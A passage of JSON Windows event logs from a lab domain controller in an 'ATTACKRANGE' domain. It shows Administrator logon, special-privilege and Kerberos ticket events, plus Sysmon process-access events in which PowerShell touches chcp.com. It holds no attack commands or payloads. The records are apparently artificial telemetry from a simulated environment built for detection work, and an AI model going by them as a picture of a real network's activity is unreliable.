attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221859,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60CF2\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x60cf2","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221860,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60CF2\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x60cf2","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221861,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221862,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221863,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221864,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60F7F\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x60f7f","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E8498814-AEE0-A433-C8EA-2DC84DA0C6E9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221865,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60F7F\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x60f7f","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nSourceProcessId: 4256\r\nSourceThreadId: 4620\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-00102D270600}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3ca42ed9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c995099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea481a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf02ce9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee61df(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bed8164(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee4697(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee428a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c995099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3becaae5(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beca0b5(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.021","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","SourceProcessId":"4256","SourceThreadId":"4620","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-00102D270600}","TargetProcessId":"884","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3ca42ed9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c995099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea481a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf02ce9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee61df(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bed8164(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee4697(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee428a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bee3c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c995099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3becaae5(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beca0b5(wow64)","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.021\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-00102D270600}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 